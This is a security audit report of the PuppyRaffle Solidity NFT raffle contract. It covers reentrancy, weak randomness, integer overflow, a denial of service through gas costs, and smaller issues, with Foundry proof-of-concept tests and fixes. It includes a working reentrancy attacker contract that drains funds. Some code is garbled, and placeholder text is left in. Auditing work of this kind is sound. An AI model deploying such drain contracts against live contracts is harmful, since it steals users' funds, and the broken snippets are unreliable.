Puppy Raffle Audit Report

Version 1.0

2ke

March 20, 2025

Protocol Audit Report

2ke

March 20, 2025

Prepared by: [2ke] Lead Auditors: - 2ke

Table of Contents

  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` causing a potential DoS (Denial of Service) attack, incrementing gas cost for future entrants.
  - [M-2] Smart Contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at that index to think that they have not enter the raffle

- Gas
  - [G-1] Unchanged state variable should be declared constant or immutable.
  - [G-2] Storage variables in a loop should be cached

- Informational
  - [I-1]: solidity pragma should be specific, not wide
  - [I-2] Using an oudated version of Solidity is not recommendated
    * [I-3] `PuppyRaffle::selectWinner` doesn't follow CEI, which is not a best practice
  - [I-4] Use of magic numbers is discouraged
    * [I-5] State changes are missing events
    * [I-6] `PuppyRaffle::_isActivePlayer` is never user and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved this

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	6
Gas	2
Total	14

Findings

High

[H-1] Reentrancy Attack in `PpppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI {Checks, Effects, Interactions} ans as a result, enables participants to withdraw as mush as they want
(They can even empty the contract balance).

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
@>          payable(msg.sender).sendValue(entranceFee);

@>          players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees added by the players could be stolen by the malicious player.

Proof of Concept:

1. User enters the raffle
2. Attacker set up a contract with a `fallback` function tha calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

PoC

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function testIsRentrancy() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);
```

```
14
15          uint256 startingAttackContractBalance = address(
                attackerContract)
16              .balance; //1
17          uint256 startingContractBalance = address(puppyRaffle).balance;
                //4
18
19          //Attack
20          vm.prank(attackUser);
21          attackerContract.attack{value: entranceFee}();
22
23          console.log(
24              "starting attacker contract balance: ",
25              startingAttackContractBalance
26          );
27          console.log("starting contract balance: ",
                startingContractBalance);
28
29          console.log(
30              "ending attacker contract balance: ",
31              address(attackerContract).balance
32          );
33          console.log("ending contract balance: ", address(puppyRaffle).
                balance);
34      }
```

And this contract as well

```
1       contract ReentrancyAttacker {
2           PuppyRaffle puppyRaffle;
3           uint256 entranceFee;
4           uint256 attackerIndex;
5
6           constructor(PuppyRaffle _puppyRaffle) {
7               puppyRaffle = _puppyRaffle;
8               entranceFee = puppyRaffle.entranceFee();
9           }
10
11          function attack() external payable {
12              address[] memory players = new address[](1);
13              players[0] = address(this);
14              puppyRaffle.enterRaffle{value: entranceFee}(players);
15              attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                    this));
16              puppyRaffle.refund(attackerIndex);
17          }
18
19          function _stealMoney() internal {
20              if (address(puppyRaffle).balance >= entranceFee) {
21                  puppyRaffle.refund(attackerIndex);
22              }
```

```
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emmisionup as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winnig puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficult` togetherr creates a predictable find number.A predictable number is not good random numbe. Malicious users can manipulatethe values or know the ahead of line to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffleworthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validatirs can know ahead of time `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blog on prevrandao]
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` tx if they don't like the winner or resulting puppy

Recommended Mitigation: Use a chainlink VRF for randomness.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: IN solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint256 myVar = type(uint64).max
    //18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumuated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `toyalFees` variable overflows, the `feeAddress` may not collect amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
//aka
totalFees = 800000000000000000 + 17800000000000000
// And this will overflow!
totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
        require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```

Althougth you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this clearly not the intended design of the protocol.

Code

```
    function testOverflowIsHappening() public playersEntered {
        //For the moment everything is normal
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
```

```
5
6           puppyRaffle.selectWinner();
7           uint256 startingBalance = puppyRaffle.totalFees();
8           console.log("the totalFee1 is:", startingBalance);
9
10          //Now let's create the problem
11          uint256 playersNum = 89;
12          address[] memory players = new address[](playersNum);
13          for (uint256 i = 0; i < players.length; i++) {
14              players[i] = address(i);
15          }
16          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
17
18          //Now ask for the selectWinner;
19          vm.warp(block.timestamp + duration + 1);
20          vm.roll(block.number + 1);
21
22          puppyRaffle.selectWinner();
23          uint256 endingBalance = puppyRaffle.totalFees();
24          console.log("the totalFee2 is:", endingBalance);
25          assert(endingBalance < startingBalance);
26      }
```

Recommended Mitigation: There are a few possible mitigations. 1. Use a newer version of solidity, and a new `uint256` instead of `uint64` for `PuppyRaffle::totalFee`. 2. You can use `safeMath` 3. Remove the balance check from `PuppyRaffle::withdrawFees`

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` causing a potential DoS (Denial of Service) attack, incrementing gas cost for future entrants.

Description: The `PuppuyRaffle::enterRaffle` function loops through the `players` array to check for duplicate addresses. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This mean gas cost for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional access in the `players` array, is an additional check the loop will have to make.

```
1 // @audit DoS Attack
2 @>          for (uint256 i = 0; i < players.length - 1; i++) {
3               for (uint256 j = i + 1; j < players.length; j++) {
4                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
```

```
5                 }
6             }
```

Impact: The gas cost for the raffle entrants will greatly increase as more players enter the raffle.Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue. An attacker might make the `PuppuyRaffle::enterRaffle` array so big, that no one enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be as suh: - 1st 100 players: ~6252047 gas - 2nd 100 players: ~18068137 gas

This is more than 3x more expensive for the seond 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`,

```
1     function testForFunctionLeadinToDos() public {
2         vm.txGasPrice(1);
3         uint256 playersNum = 100;
4         address[] memory players = new address[](playersNum);
5         for (uint256 i = 0; i < playersNum; i++) {
6             players[i] = address(i);
7         }
8         uint256 gasStart = gasleft();
9         puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
              players);
10        uint256 gasEnd = gasleft();
11
12        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
13        console.log("Gas cost of the first 100 player", gasUsedFirst);
14
15        address[] memory playersTwo = new address[](playersNum);
16        for (uint256 i = 0; i < playersNum; i++) {
17            playersTwo[i] = address(i + playersNum);
18        }
19        uint256 gasStartTwo = gasleft();
20        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
              playersTwo);
21        uint256 gasEndTwo = gasleft();
22
23        uint256 gasUsedTwo = (gasStartTwo - gasEndTwo) * tx.gasprice;
24        console.log("Gas cost of the second 100 player", gasUsedTwo);
25
26        assert(gasUsedFirst < gasUsedTwo);
27    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates.Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This allows constant time lookup of whether a user has already entered.

```
1     Need to put some shit
```

Alternatively, you could use Openzeppelin `EnumerableSet` library.

[M-2] Smart Contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest

Description: If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contracts wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options:

1. Do not allow smart contract wallet entrants
2. Create mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at that index to think that they have not enter the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }s
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think that they have not enter the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly dur to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the pkayer is not in the array instead of returning 0.

Gas

[G-1] Unchanged state variable should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Eveytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient

```
+       uint256 playerLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++)
-           for (uint256 j = i + 1; j < playerLength; j++){
```

```
6                   require(
7                       players[i] != players[j],
8                       "PuppyRaffle: Duplicate player"
9                   );
10              }
11          }
```

Informational

[I-1]: solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an oudated version of Solidity is not recommendated

Please use a newer version like `0.8.18` .

Please see slither documentation for more information .

[I-3] `PuppyRaffle::selectWinner` doesn't follow CEI, which is not a best practice

It's besst to keep code and floow CEI (Checks, Effect, Interactions)

[I-4] Use of magic numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1         uint256 prizePool = (totalAmountCollected * 80) / 100;
2         uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could do this:

```
        //uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        //Do the same for the rest
```

[I-5] State changes are missing events

[I-6] `PuppyRaffle::_isActivePlayer` is never user and should be removed